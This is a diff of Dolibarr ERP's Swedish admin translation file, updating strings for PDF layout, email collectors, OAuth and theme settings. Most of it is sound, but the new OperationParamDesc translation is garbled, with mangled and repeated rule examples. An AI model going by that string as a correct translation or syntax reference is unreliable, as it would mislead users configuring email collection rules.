+AGENDA_EVENT_PAST_COLOR=Tidigare händelsefärg +AGENDA_EVENT_CURRENT_COLOR=Aktuell händelsefärg +AGENDA_EVENT_FUTURE_COLOR=Framtida händelsefärg AGENDA_DEFAULT_VIEW=Vilken vy vill du öppna som standard när du väljer menyn Agenda AGENDA_REMINDER_BROWSER=Aktivera händelsepåminnelse i användarens webbläsare (När påminnelsedatum har uppnåtts visas en popup i webbläsaren. Varje användare kan inaktivera sådana aviseringar från sin webbläsarinställning). AGENDA_REMINDER_BROWSER_SOUND=Aktivera ljudanmälan @@ -1821,7 +1848,7 @@ ClickToDialSetup=Klicka för att Dial modul inställning ClickToDialUrlDesc=Url ringde när ett klick på telefon picto är gjort. I URL kan du använda taggar
      __PHONETO__ som kommer att ersättas med telefonnumret person att ringa
      __PHONEFROM__ som kommer att ersättas med telefonnummer att ringa person (er)
      __LOGIN__ som kommer att ersättas med clicktodial inloggning (definierad på användarkort)
      __PASS__ som kommer att ersättas med clicktodial lösenord (definierat på användarkort). ClickToDialDesc=Denna modul ändrar telefonnummer när du använder en stationär dator till klickbara länkar. Ett klick ringer upp numret. Detta kan användas för att starta telefonsamtalet när du använder en mjuk telefon på skrivbordet eller när du t.ex. använder ett CTI-system baserat på SIP-protokoll. Obs! När du använder en smartphone är telefonnummer alltid klickbara. ClickToDialUseTelLink=Använd bara en länk "tel:" på telefonnummer -ClickToDialUseTelLinkDesc=Use this method if your users have a softphone or a software interface, installed on the same computer as the browser, and called when you click on a link starting with "tel:" in your browser. If you need a link that start with "sip:" or a full server solution (no need of local software installation), you must set this to "No" and fill the next field. +ClickToDialUseTelLinkDesc=Använd den här metoden om dina användare har en datortelefon eller ett programvarugränssnitt, installerat på samma dator som webbläsaren och anropas när du klickar på en länk som börjar med "tel:" i din webbläsare. Om du behöver en länk som börjar med "sip:" eller en komplett serverlösning (inget behov av lokal mjukvaruinstallation), måste du ställa in denna på "Nej" och fylla i nästa fält. ##### Point Of Sale (CashDesk) ##### CashDesk=Försäljningsstället CashDeskSetup=Inställning av försäljningsmodul @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Lagerminskning i POS är inte kompati CashDeskYouDidNotDisableStockDecease=Du inaktiverade inte lagerminskning när du gör en försäljning från försäljningsstället. Därför krävs ett lager. CashDeskForceDecreaseStockLabel=Lagerminskning för batchprodukter tvingades. CashDeskForceDecreaseStockDesc=Minska först med de äldsta datumen för att äta och sälja. -CashDeskReaderKeyCodeForEnter=Nyckelkod för "Enter" definierad i streckkodsläsare (Exempel: 13) +CashDeskReaderKeyCodeForEnter=Nyckel ASCII-kod för "Enter" definierad i streckkodsläsaren (exempel: 13) ##### Bookmark ##### BookmarkSetup=Bokmärk modul inställning BookmarkDesc=Den här modulen låter dig hantera bokmärken. Du kan också lägga till genvägar till alla Dolibarr-sidor eller externa webbplatser på din vänstra meny. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Leverantörsfakturor nummereringsmodeller IfSetToYesDontForgetPermission=Om det är inställt på ett värde som inte är null, glöm inte att ge behörigheter till grupper eller användare som är godkända för det andra godkännandet ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind modul inställning -PathToGeoIPMaxmindCountryDataFile=Sökväg till fil som innehåller Maxmind ip till landsöversättning.
      Exempel:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usrIPshare / Gare / G +PathToGeoIPMaxmindCountryDataFile=Sökväg till fil som innehåller Maxmind ip för landöversättning NoteOnPathLocation=Observera att ditt ip till land datafil måste vara inne i en katalog din PHP kan läsa (Kolla din PHP open_basedir inställningar och behörigheter filsystem). YouCanDownloadFreeDatFileTo=Du kan ladda ner en gratis demoversion av Maxmind GeoIP landet filen på %s. YouCanDownloadAdvancedDatFileTo=Du kan också ladda ner en mer komplett version, med uppdateringar av de Maxmind GeoIP landet filen på %s. @@ -1915,7 +1942,7 @@ ExpenseReportsRulesSetup=Inställning av modul Utläggsrapportsregler ExpenseReportNumberingModules=Modul för utläggsrapporteringsnummer NoModueToManageStockIncrease=Ingen modul kunna hantera automatiska lagerökningen har aktiverats. Stock ökning kommer att ske på bara manuell inmatning. YouMayFindNotificationsFeaturesIntoModuleNotification=Du kan hitta alternativ för e-postmeddelanden genom att aktivera och konfigurera modulen "Meddelande". -TemplatesForNotifications=Templates for notifications +TemplatesForNotifications=Mallar för notiser ListOfNotificationsPerUser=Lista över automatiska aviseringar per användare * ListOfNotificationsPerUserOrContact=Lista över möjliga automatiska aviseringar (på affärshändelse) tillgängliga per användare * eller per kontakt ** ListOfFixedNotifications=Lista över automatiska fasta aviseringar @@ -1926,40 +1953,41 @@ BackupDumpWizard=Guiden för att skapa databasdumpfilen BackupZipWizard=Guiden för att bygga arkivet med dokumentkatalogen SomethingMakeInstallFromWebNotPossible=Installation av extern modul är inte möjligt från webbgränssnittet av följande skäl: SomethingMakeInstallFromWebNotPossible2=Av den anledningen är processen att uppgradera som beskrivs här en manuell process endast en privilegierad användare kan utföra. +InstallModuleFromWebHasBeenDisabledContactUs=Installation eller utveckling av externa moduler eller dynamiska webbplatser, från applikationen, är för närvarande låst av säkerhetsskäl. Kontakta oss om du behöver aktivera den här funktionen. InstallModuleFromWebHasBeenDisabledByFile=Installation av extern modul från ansökan har inaktiverats av administratören. Du måste be honom att ta bort filen% s för att tillåta denna funktion. ConfFileMustContainCustom=Installera eller bygga en extern modul från programmet måste spara modulfilerna i katalogen %s . För att få den här katalogen bearbetad av Dolibarr måste du konfigurera conf / conf.php för att lägga till 2 direktivlinjer:
      $ dolibarr_main_url_root_alt = '/ custom';
      $ dolibarr_main_document_root_alt = '%s / custom'; HighlightLinesOnMouseHover=Markera tabelllinjer när musen flytta passerar över HighlightLinesColor=Markera färg på linjen när musen passerar över (använd 'ffffff' för ingen höjdpunkt) HighlightLinesChecked=Markera färg på linjen när den är markerad (använd 'ffffff' för ingen höjdpunkt) -UseBorderOnTable=Show left-right borders on tables -BtnActionColor=Color of the action button -TextBtnActionColor=Text color of the action button +UseBorderOnTable=Visa vänster-höger kanter i tabeller +BtnActionColor=Färg på spara knappen +TextBtnActionColor=Textfärg på spara knappen TextTitleColor=Textfärg på sidtitel LinkColor=Färg på länkar PressF5AfterChangingThis=Tryck CTRL + F5 på tangentbordet eller rensa webbläsarens cacheminne när du har ändrat det här värdet för att få det effektivt NotSupportedByAllThemes=Kommer att fungera med kärnämnen, kanske inte stöds av externa teman BackgroundColor=Bakgrundsfärg TopMenuBackgroundColor=Bakgrundsfärg för Huvudmeny -TopMenuDisableImages=Icon or Text in Top menu +TopMenuDisableImages=Ikon eller text i menyn LeftMenuBackgroundColor=Bakgrundsfärg för vänstermenyn BackgroundTableTitleColor=Bakgrundsfärg för tabellens titellinje BackgroundTableTitleTextColor=Textfärg för tabellens titellinje BackgroundTableTitleTextlinkColor=Textfärg för länkrad för tabellrubrik BackgroundTableLineOddColor=Bakgrundsfärg för udda bords linjer BackgroundTableLineEvenColor=Bakgrundsfärg för ännu bords linjer -MinimumNoticePeriod=Minsta varseltid (Din ledighet begäran måste göras innan denna försening) +MinimumNoticePeriod=Minsta varseltid (Din ledighetsansökan måste göras innan denna period) NbAddedAutomatically=Antal dagar som läggs till räknare av användare (automatiskt) varje månad EnterAnyCode=Det här fältet innehåller en referens för att identifiera raden. Ange valfritt värde, men utan specialtecken. Enter0or1=Ange 0 eller 1 UnicodeCurrency=Ange här mellan hållare, lista med byte nummer som representerar valutasymbolen. Till exempel: för $, skriv [36] - för brazil real R $ [82,36] - för €, skriv [8364] ColorFormat=RGB-färgen är i HEX-format, t.ex.: FF0000 -PictoHelp=Icon name in format:
      - image.png for an image file into the current theme directory
      - image.png@module if file is into the directory /img/ of a module
      - fa-xxx for a FontAwesome fa-xxx picto
      - fonwtawesome_xxx_fa_color_size for a FontAwesome fa-xxx picto (with prefix, color and size set) +PictoHelp=Ikonnamn i format:
      - image.png för en bildfil till den aktuella temakatalogen
      - image.png@module om filen finns i katalogen /img/ för en modul
      - fa-xxx för en FontAwesomepicto fa-x
      - fonwtawesome_xxx_fa_color_size för en FontAwesome fa-xxx-bild (med prefix, färg och storleksuppsättning) PositionIntoComboList=Position of line i kombinationslistor SellTaxRate=Försäljningsmomssats RecuperableOnly=Ja för moms "Ej uppfattad men återställbar" tillägnad vissa stater i Frankrike. Håll värdet till "Nej" i alla andra fall. UrlTrackingDesc=Om leverantören eller transporttjänsten erbjuder en sida eller webbplats för att kontrollera statusen för dina leveranser, kan du ange den här. Du kan använda nyckeln {TRACKID} i URL-parametrarna så att systemet kommer att ersätta det med det spårningsnummer som användaren angett på försändelsekortet. OpportunityPercent=När du skapar en ledning definierar du en beräknad mängd projekt / ledning. Enligt ledningens status kan detta belopp multipliceras med denna kurs för att utvärdera ett totalt belopp som alla dina leads kan generera. Värdet är en procentandel (mellan 0 och 100). -TemplateForElement=This mail template is related to what type of object? An email template is available only when using the "Send Email" button from the related object. +TemplateForElement=Denna mail-mall är relaterat till vilken typ av objekt? mail-mall är enbart tillgänglig när man använder "Skicka e-post" knappen från relaterat objekt TypeOfTemplate=Typ av mall TemplateIsVisibleByOwnerOnly=Mall är endast synlig för ägaren VisibleEverywhere=Synlig överallt @@ -1986,7 +2014,7 @@ MailToThirdparty=Tredje part MailToMember=Medlemmar MailToUser=Användare MailToProject=Projekt -MailToTicket=Biljetter +MailToTicket=Ärenden ByDefaultInList=Visa som standard i listvy YouUseLastStableVersion=Du använder den senaste stabila versionen TitleExampleForMajorRelease=Exempel på meddelande du kan använda för att meddela den här stora versionen (gärna använda den på dina webbplatser) @@ -1996,7 +2024,7 @@ ExampleOfNewsMessageForMaintenanceRelease=Dolibarr ERP & CRM %s är tillgänglig MultiPriceRuleDesc=När alternativet "Flera prisnivåer per produkt / tjänst" är aktiverat kan du definiera olika priser (en per prisnivå) för varje produkt. För att spara tid kan du här ange en regel för att autokaluta ett pris för varje nivå baserat på priset på första nivån, så du måste bara ange ett pris för första nivån för varje produkt. Den här sidan är utformad för att spara tid, men är endast användbar om dina priser för varje nivå är i förhållande till första nivån. Du kan ignorera den här sidan i de flesta fall. ModelModulesProduct=Mallar för produktdokument WarehouseModelModules=Mallar för dokument från lager -ToGenerateCodeDefineAutomaticRuleFirst=För att kunna generera koder automatiskt måste du först definiera en chef för att automatiskt definiera streckkodsnumret. +ToGenerateCodeDefineAutomaticRuleFirst=För att kunna generera koder automatiskt måste du först definiera en streckkodsgenerator för att automatiskt definiera streckkodsnumret. SeeSubstitutionVars=Se * anteckning för lista över möjliga substitutionsvariabler SeeChangeLog=Se ChangeLog-fil (endast på engelska) AllPublishers=Alla utgivare @@ -2029,87 +2057,91 @@ TypeCdr=Använd "None" om datumet för betalningsperioden är fakturadatum plus BaseCurrency=Referensvaluta för företaget (gå in i företagets inställning för att ändra detta) WarningNoteModuleInvoiceForFrenchLaw=Denna modul %s överensstämmer med franska lagar (Loi Finance 2016). WarningNoteModulePOSForFrenchLaw=Denna modul %s överensstämmer med franska lagar (Loi Finance 2016) eftersom modulen Non Reversible Logs automatiskt aktiveras. -WarningInstallationMayBecomeNotCompliantWithLaw=Du försöker installera modul %s som är en extern modul. Aktivering av en extern modul innebär att du litar på utgivaren av den modulen och att du är säker på att denna modul inte påverkar beteendet på din ansökan negativt och överensstämmer med landets lagar (%s). Om modulen introducerar en olaglig funktion, blir du ansvarig för användningen av olaglig programvara. -MAIN_PDF_MARGIN_LEFT=Vänster marginal på PDF -MAIN_PDF_MARGIN_RIGHT=Höger marginal på PDF -MAIN_PDF_MARGIN_TOP=Toppmarginal på PDF -MAIN_PDF_MARGIN_BOTTOM=Bottenmarginal på PDF -MAIN_DOCUMENTS_LOGO_HEIGHT=Höjd för logotyp på PDF -DOC_SHOW_FIRST_SALES_REP=Show first sales representative -MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines -MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines -MAIN_PDF_NO_SENDER_FRAME=Hide borders on sender address frame -MAIN_PDF_NO_RECIPENT_FRAME=Hide borders on recipent address frame -MAIN_PDF_HIDE_CUSTOMER_CODE=Hide customer code -MAIN_PDF_HIDE_SENDER_NAME=Hide sender/company name in address block -PROPOSAL_PDF_HIDE_PAYMENTTERM=Hide payments conditions -PROPOSAL_PDF_HIDE_PAYMENTMODE=Hide payment mode -MAIN_PDF_PROPAL_USE_ELECTRONIC_SIGNING=Lägg till elektronisk inloggning PDF +WarningInstallationMayBecomeNotCompliantWithLaw=Du försöker installera modulen %s som är en extern modul. Aktivering av en extern modul innebär att du litar på utgivaren av den modulen och att du är säker på att denna modul inte påverkar funktionen i din applikation negativt och överensstämmer med landets lagar (%s). Om modulen skulle medföra en olaglig funktion blir du ansvarig för användningen. +MAIN_PDF_MARGIN_LEFT=Vänstermarginal i PDF +MAIN_PDF_MARGIN_RIGHT=Högermarginal i PDF +MAIN_PDF_MARGIN_TOP=Toppmarginal i PDF +MAIN_PDF_MARGIN_BOTTOM=Bottenmarginal i PDF +MAIN_DOCUMENTS_LOGO_HEIGHT=Höjd på logotyp i PDF +DOC_SHOW_FIRST_SALES_REP=Visa första säljare +MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Lägg till kolumn för bild på offertrader +MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Bredd på kolumnen om en bild läggs till på rader +MAIN_PDF_NO_SENDER_FRAME=Dölj kanter på avsändarens adressram +MAIN_PDF_NO_RECIPENT_FRAME=Dölj kanter på mottagarens adressram +MAIN_PDF_HIDE_CUSTOMER_CODE=Dölj kundnummer +MAIN_PDF_HIDE_SENDER_NAME=Dölj avsändarens/företagets namn i adressblocket +PROPOSAL_PDF_HIDE_PAYMENTTERM=Dölj betalningsvillkor +PROPOSAL_PDF_HIDE_PAYMENTMODE=Dölj betalningsläge +MAIN_PDF_PROPAL_USE_ELECTRONIC_SIGNING=Lägg till elektronisk signatur i PDF NothingToSetup=Det finns ingen specifik inställning som krävs för den här modulen. -SetToYesIfGroupIsComputationOfOtherGroups=Ställ det här på ja om den här gruppen är en beräkning av andra grupper -EnterCalculationRuleIfPreviousFieldIsYes=Ange beräkningsregel om föregående fält var satt till Ja.
      Till exempel:
      CODEGRP1 + CODEGRP2 +SetToYesIfGroupIsComputationOfOtherGroups=Ange det här till ja om den här gruppen är en sammanslagning av andra grupper +EnterCalculationRuleIfPreviousFieldIsYes=Ange beräkningsregel om föregående fält var satt till Ja.
      Exempelvis:
      CODEGRP1 + CODEGRP2 SeveralLangugeVariatFound=Flera språkvarianter hittades RemoveSpecialChars=Ta bort specialtecken -COMPANY_AQUARIUM_CLEAN_REGEX=Regex-filter till rent värde (COMPANY_AQUARIUM_CLEAN_REGEX) -COMPANY_DIGITARIA_CLEAN_REGEX=Regex-filter för att rengöra värdet (COMPANY_DIGITARIA_CLEAN_REGEX) +COMPANY_AQUARIUM_CLEAN_REGEX=Regex-filter för att rensa värde (COMPANY_AQUARIUM_CLEAN_REGEX) +COMPANY_DIGITARIA_CLEAN_REGEX=Regex-filter för att rensa värdet (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicering är inte tillåtet +RemoveSpecialWords=Ta bort vissa ord när du skapar underkonton för kunder eller leverantörer +RemoveSpecialWordsHelp=Ange orden som ska tas bort innan du beräknar kund- eller leverantörskontot. Använd ett ; mellan varje ord GDPRContact=Dataskyddsansvarig (DPO, Data Privacy eller GDPR-kontakt) -GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here -HelpOnTooltip=Hjälptext för att visa på verktygstips -HelpOnTooltipDesc=Lägg text eller en översättningstangent här för att texten ska visas i ett verktygstips när detta fält visas i en blankett +GDPRContactDesc=Om du lagrar personuppgifter i ditt informationssystem kan du här nämna den kontakt som är ansvarig för den allmänna dataskyddsförordningen +HelpOnTooltip=Hjälptext att visa i verktygstips +HelpOnTooltipDesc=Lägg text eller en översättning här för att texten ska visas i ett verktygstips när detta fält visas i ett formulär YouCanDeleteFileOnServerWith=Du kan ta bort den här filen på servern med kommandorad:
      %s ChartLoaded=Kontoplan laddad -SocialNetworkSetup=Uppställning av modulen Sociala nätverk -EnableFeatureFor=Aktivera funktioner för %s -VATIsUsedIsOff=Obs! Alternativet att använda moms eller moms har ställts till Av i menyn %s - %s, så Försäljningsskatt eller moms används alltid 0 för försäljning. -SwapSenderAndRecipientOnPDF=Byt avsändar- och mottagaradressposition på PDF-dokument -FeatureSupportedOnTextFieldsOnly=Varning, funktionen stöds endast i textfält och kombinationslistor. En URL-parameteråtgärd = skapa eller åtgärd = redigera måste också ställas in ELLER måste sidnamnet sluta med 'new.php' för att utlösa den här funktionen. -EmailCollector=E-post samlare -EmailCollectors=Email collectors -EmailCollectorDescription=Lägg till ett schemalagt jobb och en installationssida för att skanna regelbundet e-postrutor (med IMAP-protokoll) och spela in e-postmeddelanden som tas emot i din ansökan, på rätt plats och / eller skapa några poster automatiskt (som ledningar). +SocialNetworkSetup=Inställning av modulen Sociala nätverknätverk +EnableFeatureFor=Aktivera funktioner för %s +VATIsUsedIsOff=Obs! Alternativet att använda moms har ställts till Av i menyn %s - %s, så moms kommer alltid vara 0 vid försäljning. +SwapSenderAndRecipientOnPDF=Byt avsändar- och mottagarposition på adress i PDF +FeatureSupportedOnTextFieldsOnly=Varning! Funktionen stöds endast i textfält och kombinationslistor. En URL-parameteråtgärd=skapa eller åtgärd=redigera måste också ställas in ELLER så måste sidnamnet sluta med 'new.php' för att utlösa den här funktionen. +EmailCollector=E-postsamlare +EmailCollectors=E-postsamlare +EmailCollectorDescription=Lägg till ett schemalagt jobb och en installationssida för att regelbundet skanna e-postadresser (med IMAP) och mata in e-postmeddelanden i din applikation, på rätt plats och/eller skapa poster automatiskt (som leads). NewEmailCollector=Ny e-postsamlare -EMailHost=Värd för e-post IMAP-server -EMailHostPort=Port of email IMAP server -loginPassword=Login/Password -oauthToken=Oauth2 token -accessType=Acces type -oauthService=Oauth service -TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). -MailboxSourceDirectory=Postkälla källkatalog -MailboxTargetDirectory=Målkatalogen för brevlådan -EmailcollectorOperations=Verksamhet att göra av samlare -EmailcollectorOperationsDesc=Operationer utförs från topp till nedre ordning -MaxEmailCollectPerCollect=Max antal e-postmeddelanden som samlats in per insamling -CollectNow=Samla nu -ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? -DateLastCollectResult=Datum för senaste insamlingsförsök -DateLastcollectResultOk=Datum för senaste insamlingsframgång +EMailHost=Värd för e-post, IMAP-server +EMailHostPort=Port för e-post, IMAP-server +loginPassword=Inloggning/lösenord +oauthToken=Oauth2-token +accessType=Åtkomsttyp +oauthService=Oauth-tjänst +TokenMustHaveBeenCreated=Modulen OAuth2 måste vara aktiverad och en oauth2-token måste ha skapats med rätt behörigheter (till exempel omfattningen "gmail_full" med OAuth för Gmail). +MailboxSourceDirectory=E-post källkatalog +MailboxTargetDirectory=E-post målkatalog +EmailcollectorOperations=Åtgärder att utföra av e-postsamlaren +EmailcollectorOperationsDesc=Åtgärder utförs i ordning från topp till botten +MaxEmailCollectPerCollect=Max antal e-postmeddelanden som hämtas per insamling +TestCollectNow=Prova hämta +CollectNow=Hämta nu +ConfirmCloneEmailCollector=Är du säker på att du vill klona E-postsamlaren %s? +DateLastCollectResult=Datum för senaste hämtningsförsök +DateLastcollectResultOk=Datum för senaste hämtning LastResult=Senaste resultatet -EmailCollectorHideMailHeaders=Do not include the content of email header into the saved content of collected e-mails -EmailCollectorHideMailHeadersHelp=When enabled, e-mail headers are not added at the end of the email content that is saved as an agenda event. -EmailCollectorConfirmCollectTitle=E-post samla bekräftelse -EmailCollectorConfirmCollect=Do you want to run this collector now? -EmailCollectorExampleToCollectTicketRequestsDesc=Collect emails that match some rules and create automatically a ticket (Module Ticket must be enabled) with the email informations. You can use this collector if you provide some support by email, so your ticket request will be automatically generated. Activate also Collect_Responses to collect answers of your client directly on the ticket view (you must reply from Dolibarr). -EmailCollectorExampleToCollectTicketRequests=Example collecting the ticket request (first message only) -EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=Scan your mailbox "Sent" directory to find emails that was sent as an answer of another email directly from your email software and not from Dolibarr. If such an email is found, the event of answer is recorded into Dolibarr -EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=Example collecting e-mail answers sent from an external e-mail software -EmailCollectorExampleToCollectDolibarrAnswersDesc=Collect all emails that are an answer of an email sent from your application. An event (Module Agenda must be enabled) with the email response will be recorded at the good place. For example, if you send a commercial proposal, order, invoice or message for a ticket by email from the application, and the recipient answers your email, the system will automatically catch the answer and add it into your ERP. -EmailCollectorExampleToCollectDolibarrAnswers=Example collecting all ingoing messages being answers to messages sent from Dolibarr' -EmailCollectorExampleToCollectLeadsDesc=Collect emails that match some rules and create automatically a lead (Module Project must be enabled) with the email informations. You can use this collector if you want to follow your lead using the module Project (1 lead = 1 project), so your leads will be automatically generated. If the collector Collect_Responses is also enabled, when you send an email from your leads, proposals or any other object, you may also see answers of your customers or partners directly on the application.
      Note: With this initial example, the title of the lead is generated including the email. If the thirdparty can't be found in database (new customer), the lead will be attached to the thirdparty with ID 1. -EmailCollectorExampleToCollectLeads=Example collecting leads -EmailCollectorExampleToCollectJobCandidaturesDesc=Collect emails applying to job offers (Module Recruitment must be enabled). You can complete this collector if you want to automatically create a candidature for a job request. Note: With this initial example, the title of the candidature is generated including the email. -EmailCollectorExampleToCollectJobCandidatures=Example collecting job candidatures received by e-mail +EmailCollectorHideMailHeaders=Inkludera inte innehållet i e-posthuvudet i det sparade innehållet +EmailCollectorHideMailHeadersHelp=När det är aktiverat läggs inte e-posthuvudet till i slutet innehållet som sparas som en händelse på dagordningen. +EmailCollectorConfirmCollectTitle=Bekräfta hämtning av e-post +EmailCollectorConfirmCollect=Vill du köra den här hämtningen nu? +EmailCollectorExampleToCollectTicketRequestsDesc=Samla e-postmeddelanden som matchar vissa regler och skapa automatiskt en ärende (Ärendemodulen måste vara aktiverad) med e-postinformationen. Du kan använda den här samlaren om du ger lite support via e-post, så din ärendeförfrågan genereras automatiskt. Aktivera också Collect_Responses för att samla in svar från din klient direkt på ärendevyn (du måste svara från Dolibarr). +EmailCollectorExampleToCollectTicketRequests=Exempel på att hämta ärendeförfrågan (endast första meddelandet) +EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=Skanna din postlåda "Skickat"-katalog för att hitta e-postmeddelanden som skickades som svar på ett annat e-postmeddelande direkt från din e-postprogramvara och inte från Dolibarr. Om ett sådant e-postmeddelande hittas, registreras svaret i Dolibarr +EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=Exempel på att hämta in e-postsvar skickade från ett externt e-postprogram +EmailCollectorExampleToCollectDolibarrAnswersDesc=Hämta alla mejl som är ett svar på ett mejl som skickats från din ansökan. En händelse (Agendamodulen måste vara aktiverad) med e-postsvaret kommer att sparas på den bra platsen. Om du till exempel skickar ett kommersiellt förslag, en order, en faktura eller ett meddelande om en ärende via e-post från applikationen, och mottagaren svarar på din e-post, kommer systemet automatiskt att hämta svaret och lägga till det i ditt affärssystem. +EmailCollectorExampleToCollectDolibarrAnswers=Exempel som hämtar in alla inkommande meddelanden är svar på meddelanden skickade från Dolibarr' +EmailCollectorExampleToCollectLeadsDesc=Hämta e-postmeddelanden som matchar vissa regler och skapa automatiskt en potentiell kund (Module Project måste vara aktiverat) med e-postinformationen. Du kan använda den här samlaren om du vill följa din lead med modulen Project (1 lead = 1 projekt), så dina leads kommer att genereras automatiskt. Om samlaren Collect_Responses också är aktiverad, när du skickar ett e-postmeddelande från dina leads, förslag eller något annat objekt, kan du också se svar från dina kunder eller partners direkt i applikationen.
      Obs: Med det här initiala exemplet genereras titeln på leadet inklusive e-postmeddelandet. Om tredje part inte kan hittas i databasen (ny kund), kommer leaden att kopplas till tredje part med ID 1. +EmailCollectorExampleToCollectLeads=Exempel på att samla in leads +EmailCollectorExampleToCollectJobCandidaturesDesc=Samla e-postmeddelanden som ansöker om jobberbjudanden (Rekryteringsmodulen måste vara aktiverad). Du kan fylla i den här samlaren om du automatiskt vill skapa en kandidatur för en jobbförfrågan. Obs: Med detta initiala exempel genereras titeln på kandidaturen inklusive e-postmeddelandet. +EmailCollectorExampleToCollectJobCandidatures=Exempel på att samla in jobbkandidater som tas emot via e-post NoNewEmailToProcess=Ingen ny email (matchande filter) att bearbeta NothingProcessed=Inget gjort -XEmailsDoneYActionsDone=%s emails pre-qualified, %s emails successfully processed (for %s record/actions done) -RecordEvent=Record an event in agenda (with type Email sent or received) -CreateLeadAndThirdParty=Create a lead (and a third party if necessary) -CreateTicketAndThirdParty=Create a ticket (linked to a third party if the third party was loaded by a previous operation or was guessed from a tracker in email header, without third party otherwise) +XEmailsDoneYActionsDone=%s e-postmeddelanden förkvalificerade, %s e-postmeddelanden behandlade framgångsrikt (för %s post/åtgärder gjorda) +RecordEvent=Spara en händelse i agendan (med typen E-post skickat eller mottaget) +CreateLeadAndThirdParty=Skapa en potentiell kund (och en tredje part om det behövs) +CreateTicketAndThirdParty=Skapa ett ärende (länkad till en tredje part om den tredje parten laddades av en tidigare operation eller gissades från en spårare i e-posthuvudet, utan tredje part annars) CodeLastResult=Senaste resultatkoden NbOfEmailsInInbox=Antal e-postmeddelanden i källkatalogen LoadThirdPartyFromName=Ladda tredjepartsökning på %s (endast belastning) LoadThirdPartyFromNameOrCreate=Ladda tredjepartsökning på %s (skapa om ej hittad) -AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. +LoadContactFromEmailOrCreate=Ladda kontaktsökning på %s (skapa om den inte hittas) +AttachJoinedDocumentsToObject=Spara bifogade filer i objektdokument om en ref för ett objekt hittas i e-postämnet. WithDolTrackingID=Meddelande från en konversation initierad av ett första e-postmeddelande skickat från Dolibarr WithoutDolTrackingID=Meddelande från en konversation initierad av ett första e-postmeddelande som INTE skickades från Dolibarr WithDolTrackingIDInMsgId=Meddelande skickat från Dolibarr @@ -2118,14 +2150,14 @@ CreateCandidature=Skapa jobbansökan FormatZip=Zip MainMenuCode=Menyinmatningskod (huvudmeny) ECMAutoTree=Visa automatiskt ECM-träd -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Definiera reglerna som ska användas för att extrahera vissa data eller ange värden som ska användas för drift.

      Exempel för att extrahera ett företagsnamn från e-postämnet till en temporär variabel:
      tmp_var=EXTRACT:SUBJECT:Meddelande från företaget ([^\n]*)

      Exempel för att ställa in egenskaperna för ett objekt som ska skapas:
      objproperty1=SET:ett hårdkodat värde
      objproperty2=SETT är endast objproperty2_var__property2=SET:__t1FEM_värde_värde:_f3värde_definierat värde:_f31F_värde_värde endast:_f3värde_värde
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      företagsnamn är\\s([^\\s]*)

      Använd en ; char som separator för att extrahera eller ställa in flera egenskaper. OpeningHours=Öppettider OpeningHoursDesc=Ange här företagets vanliga öppettider. ResourceSetup=Konfiguration av resursmodulen UseSearchToSelectResource=Använd en sökformulär för att välja en resurs (snarare än en rullgardinslista). DisabledResourceLinkUser=Inaktivera funktionen för att länka en resurs till användarna DisabledResourceLinkContact=Inaktivera funktionen för att länka en resurs till kontakter -EnableResourceUsedInEventCheck=Prohibit the use of the same resource at the same time in the agenda +EnableResourceUsedInEventCheck=Förhindra användning av samma resurs samtidigt i dagordningen ConfirmUnactivation=Bekräfta modulåterställning OnMobileOnly=På en liten skärm (smartphone) bara DisableProspectCustomerType=Inaktivera typen "Prospect + Customer" från tredje part (så tredje part måste vara "Prospect" eller "Customer", men kan inte vara båda) @@ -2164,13 +2196,13 @@ LargerThan=Större än IfTrackingIDFoundEventWillBeLinked=Observera att om ett spårnings-ID för ett objekt hittas i e-post, eller om e-postmeddelandet är ett svar på ett e-postområde som samlas in och länkas till ett objekt, kommer den skapade händelsen automatiskt att länkas till det kända relaterade objektet. WithGMailYouCanCreateADedicatedPassword=Med ett GMail-konto, om du aktiverade valet av 2 steg, rekommenderas att du skapar ett dedikerat andra lösenord för programmet istället för att använda ditt eget lösenordsord från https://myaccount.google.com/. EmailCollectorTargetDir=Det kan vara ett önskat beteende att flytta e-postmeddelandet till en annan tagg / katalog när den bearbetades framgångsrikt. Ange bara namnet på katalogen här för att använda den här funktionen (Använd INTE specialtecken i namnet). Observera att du också måste använda ett inloggningskonto för läs / skriv. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
